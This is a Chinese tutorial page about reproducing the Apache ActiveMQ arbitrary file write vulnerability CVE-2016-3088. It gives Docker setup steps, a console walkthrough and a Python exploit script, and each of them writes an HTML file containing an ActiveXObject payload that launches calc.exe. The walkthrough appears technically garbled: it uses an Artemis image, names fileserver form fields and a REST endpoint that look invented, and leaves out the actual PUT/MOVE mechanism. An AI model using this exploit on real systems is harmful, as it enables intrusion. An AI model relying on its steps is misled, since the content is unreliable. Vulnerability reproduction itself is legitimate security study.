Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

以下是Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)的完整攻略:

漏洞介绍

Apache ActiveMQ是一款开源的消息队列系统。当使用ActiveMQ的fileserver和http服务时,可以利用该漏洞将任意文件写入至任意路径,从而造成远程代码执行。

漏洞编号:CVE-2016-3088
漏洞评级:高危

环境搭建

首先需要搭建漏洞环境,可以使用搭建好漏洞环境的Docker镜像,命令如下:

docker run -it --name activemq -p 61616:61616 -p 8161:8161 vromero/activemq-artemis

Docker镜像地址:https://hub.docker.com/r/vromero/activemq-artemis/

复现过程

示例一

接下来,我们使用两种方式来复现该漏洞。

首先,我们可以使用ActiveMQ的管理控制台来复现该漏洞。

  1. 访问链接:http://127.0.0.1:8161/admin/queues.jsp
  2. 点击页面上方"Send"按钮,进入新页面。
  3. 在页面下方的消息编辑框中,输入以下内容:
<html>
<head>
<title>Apache ActiveMQ Test</title>
<SCRIPT LANGUAGE="JavaScript">
function test() {
    new ActiveXObject('WScript.Shell').Run('calc.exe');
}
</SCRIPT>
</head>
<body>
    <button onclick="test()">Click me</button>
</body>
</html>
  1. 在页面下方的"Queue"下拉框中选择自己想要的队列,然后点击"Send"按钮。

此时,我们成功发送了一个包含可执行代码的消息,下一步我们需要将其写入到文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/
  2. 在页面下方的"File Name"输入框中输入想要写入的文件名,例如test.html。
  3. 在"File Contents"输入框中保持原有内容不变。
  4. 点击"Submit"按钮。

此时,我们成功将包含可执行代码的消息写入了一个名为test.html的文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/test.html

此时,我们成功访问到了包含可执行代码的文件,攻击成功。

示例二

另一种方式是使用Python脚本来实现漏洞的利用。

  1. 首先需要安装Python的Requests库。使用以下命令安装:
pip install requests
  1. 然后编写以下脚本:
import requests

activemq_host = 'http://127.0.0.1:8161/'

def send_message_to_queue(queue_name, message):
    url = activemq_host + 'api/message/' + queue_name
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = 'body=' + message
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Send message failed.')
        exit()

def write_file(file_path, file_content):
    url = activemq_host + 'fileserver/'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = {
        'fileName': file_path,
        'fileContents': file_content
    }
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Write file failed.')
        exit()

if __name__ == '__main__':
    queue_name = 'test'
    message = '<html><head><title>Apache ActiveMQ Test</title><SCRIPT LANGUAGE="JavaScript">function test() { new ActiveXObject("WScript.Shell").Run("calc.exe"); }</SCRIPT></head><body><button onclick="test()">Click me</button></body></html>'
    file_path = 'test.html'
    write_file(file_path, message)
    send_message_to_queue(queue_name, message)
  1. 运行脚本,可以看到脚本将包含可执行代码的消息发送到名为test的队列,并将消息写入到test.html文件中。

以上就是使用两种不同方式复现Apache ActiveMQ任意文件写入漏洞的方法及过程。为避免漏洞被利用,建议及时更新漏洞版本或关闭fileserver和http服务。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • java实现分布式项目搭建的方法

    下面我来讲解一下“java实现分布式项目搭建的方法”的完整攻略。 一、前置知识 在了解分布式项目搭建之前,需要掌握以下几个基础知识: Java语言基础 Spring框架、Spring Boot框架和Spring Cloud框架的基础知识 Maven和Gradle构建工具的基础知识 数据库的基础知识 Docker、Kubernetes等技术的基础知识 二、分布…

    Java 2023年5月18日
    00
  • IntelliJ idea 如何生成动态的JSON字符串(步骤详解)

    下面是详细的攻略,包括两个示例说明。 IntelliJ idea 如何生成动态的JSON字符串(步骤详解) 一、使用Gson库生成JSON字符串 在IntelliJ Idea中创建一个Java项目,然后在项目中导入Gson库的jar包。 创建一个Java类,在类中定义一个类成员,用于存储需要生成的JSON数据。 “`java import com.goog…

    Java 2023年5月26日
    00
  • Java实现简单局域网聊天室

    Java实现简单局域网聊天室攻略 在本文中,我将向您展示如何使用Java语言实现一个简单的局域网聊天室。我们将使用Java的Socket API进行通信。 第一步:创建服务器 我们将从创建服务器开始。服务器将超时等待客户端的连接。一旦客户端连接,服务器将创建一个新的线程对该客户端进行处理。 import java.io.IOException; import…

    Java 2023年5月19日
    00
  • SpringMVC上传图片与访问

    SpringMVC上传图片与访问攻略 SpringMVC是一个非常流行的Java Web框架,它提供了很多方便的功能,包括文件上传和图片访问。在本文中,我们将详细讲解如何在SpringMVC中上传图片并访问它们。 上传图片 在Web应用程序中,文件上传是一个非常常见的需求。SpringMVC提供了很多方便的方式来处理文件上传,包括使用MultipartFil…

    Java 2023年5月18日
    00
  • 微信小程序获取用户手机号码的详细步骤

    获取微信小程序用户手机号码的详细步骤包括以下三步骤: 用户授权获取手机号码 获取用户信息中的手机号码 解密用户敏感数据以获取手机号码 下面将详细介绍这三步骤。 步骤一:用户授权获取手机号码 用户需要授权小程序获取其手机号码。在小程序中,可以使用<button>或<open-type>来触发获取手机号码的授权。 例如,以下是一个获取用户…

    Java 2023年5月19日
    00
  • 使用Criteria进行分组求和、排序、模糊查询的实例

    下面我将为你详细讲解使用Criteria进行分组求和、排序、模糊查询的完整攻略。 一、Criteria的概述 Hibernate 中的 Criteria 查询是为了解决 HQL 表达式中所没有解决的灵活的高级查询,也可以免去写 SQL 的烦恼,使用标准的方式,所有的查询条件都封装成一个对象。 Criteria 对象可以通过 Restrictions 的静态方…

    Java 2023年5月20日
    00
  • Struts1教程之ActionMapping_动力节点Java学院整理

    Struts1教程之ActionMapping_动力节点Java学院整理 1. 了解ActionMapping ActionMapping 是 Struts1 框架中的一个重要组件,它主要负责将请求的 URL 映射到相应的 Action 类,以便执行对应的业务逻辑。也就是说,我们可以通过 ActionMapping 来实现 URL 到 Action 类及其方…

    Java 2023年5月20日
    00
  • java实现的二级联动菜单效果

    下面是详细讲解 “java实现的二级联动菜单效果” 的完整攻略。 1. 确定需求 首先,需要明确二级联动菜单的核心需求,例如:用户选择一级菜单项后,联动显示对应的二级菜单项,用户再选择二级菜单项后,能够得到正确的信息或进行相应操作。 2. 设计数据结构 在了解需求后,需要考虑如何设计数据结构来满足需求。对于二级联动菜单,我们可以考虑使用嵌套的Map或List…

    Java 2023年6月15日
    00
合作推广
合作推广
分享本页
返回顶部